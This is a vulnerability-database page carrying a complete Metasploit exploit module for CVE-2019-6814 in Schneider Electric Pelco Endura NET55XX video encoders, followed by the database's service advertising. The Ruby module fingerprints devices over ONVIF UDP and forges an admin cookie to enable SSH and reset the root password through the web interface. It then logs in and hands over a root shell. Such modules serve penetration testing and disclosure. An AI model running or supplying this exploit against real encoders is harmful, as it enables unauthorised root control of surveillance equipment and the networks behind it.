Lucene search
K

Schneider Electric Pelco Endura NET55XX Encoder - Authentication Bypass Exploit

🗓️ 29 Jul 2019 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 53 Views

Schneider Electric Pelco Endura NET55XX Encoder - Authentication Bypass Exploit. Inadequate access controls enable SSH service activation and root password change

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::SSH

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Schneider Electric Pelco Endura NET55XX Encoder",
      'Description'    => %q(
        This module exploits inadequate access controls within the webUI to enable
        the SSH service and change the root password. This module has been tested successfully
        on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions.
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Lucas Dinucci <[email protected]>',
          'Vitor Esperança <[email protected]>'
        ],
      'References'     =>
        [
          ['CVE', '2019-6814'],
          ['URL', 'https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/']
        ],
      'Payload'        =>
        {
          'Compat' => {
            'PayloadType'    => 'cmd_interact',
            'ConnectionType' => 'find'
          }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'     => [ [ "Universal", {} ] ],
      'Privileged'     => true,
      'DisclosureDate' => "Jan 25 2019",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('NEW_PASSWORD', [ true, 'New password to be set for the root account', Rex::Text.rand_text_alphanumeric(16)]),
        OptInt.new('TIMEOUT', [ true, 'Timeout for the requests', 10])
      ]
    )

    register_advanced_options(
      [
        OptInt.new('UDP_PORT', [ true, 'UDP port for the ONVIF service', 3702]),
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  def new_password
    datastore['NEW_PASSWORD']
  end

  def check
    xmlPayload = '<?xml version="1.0" encoding="UTF-8"?>'\
                 '<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">'\
                 '<Header xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">'\
                 '<a:Action mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</a:Action>'\
                 '<a:MessageID>uuid:f3d577a3-431f-4450-ab45-b480042b9c74</a:MessageID>'\
                 '<a:ReplyTo>'\
                 '<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>'\
                 '</a:ReplyTo>'\
                 '<a:To mustUnderstand="1">urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To>'\
                 '</Header>'\
                 '<Body>'\
                 '<Probe xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery">'\
                 '<Types xmlns:dp0="http://www.onvif.org/ver10/network/wsdl">dp0:NetworkVideoTransmitter</Types>'\
                 '</Probe>'\
                 '</Body>'\
                 '</Envelope><?xml version="1.0" encoding="UTF-8"?>'

    connect_udp(true, {'RPORT' => datastore['UDP_PORT']})
    udp_sock.put(xmlPayload)
    resp = []
    resp << udp_sock.get(datastore['TIMEOUT'])
    xmlResponse = resp.join(',')
    disconnect_udp
    if xmlResponse.include?("NET5501") || xmlResponse.include?("NET5501-I") || xmlResponse.include?("NET5501-XT") || xmlResponse.include?("NET5504") || xmlResponse.include?("NET5500") || xmlResponse.include?("NET5516") || xmlResponse.include?("NET5508")
      return Exploit::CheckCode::Appears
    end
     CheckCode::Safe
  end

  def change_password
    print_status("#{peer} - Attempt to change the root password...")
    post = {"enable": true, "passwd": new_password, "userid": "root"}.to_json

    login = send_request_cgi({
      'method' => 'POST',
      'uri' =>  normalize_uri(target_uri.path, '/cgi-bin/webra.fcgi?network/ssh'),
      'data' => post,
      'headers' =>
      {
        'Cookie'        => 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647',
        'Content-Type'  => 'application/json;charset=utf-8'
      }
    }, timeout=datastore['TIMEOUT'])

    fail_with(Failure::UnexpectedReply, "Failed to change root password") unless login && login.code == 200
    print_good("#{rhost}:80 - Successfully changed the root password...")
    print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}")
  end

  def do_login
    change_password
    print_status("#{rhost}:22 - Attempt to start a SSH connection...")
    factory = ssh_socket_factory
    opts = {
      :auth_methods    => ['password', 'keyboard-interactive'],
      :port            => 22,
      :use_agent       => false,
      :config          => true,
      :password        => new_password,
      :proxy           => factory,
      :non_interactive => true,
      :verify_host_key => :never
    }
    opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(datastore['RHOST'], 'root', opts)
      end
    rescue Rex::ConnectionError
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:22 SSH - Disconnected during negotiation"
    rescue ::Timeout::Error
      print_error "#{rhost}:22 SSH - Timed out during negotiation"
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:22 SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}"
    end
    if ssh
      conn = Net::SSH::CommandStream.new(ssh)
      return conn
    end
  end

  def exploit
    conn = do_login
    if conn
      print_good("#{rhost}:22 - Session established ")
      handler(conn.lsock)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation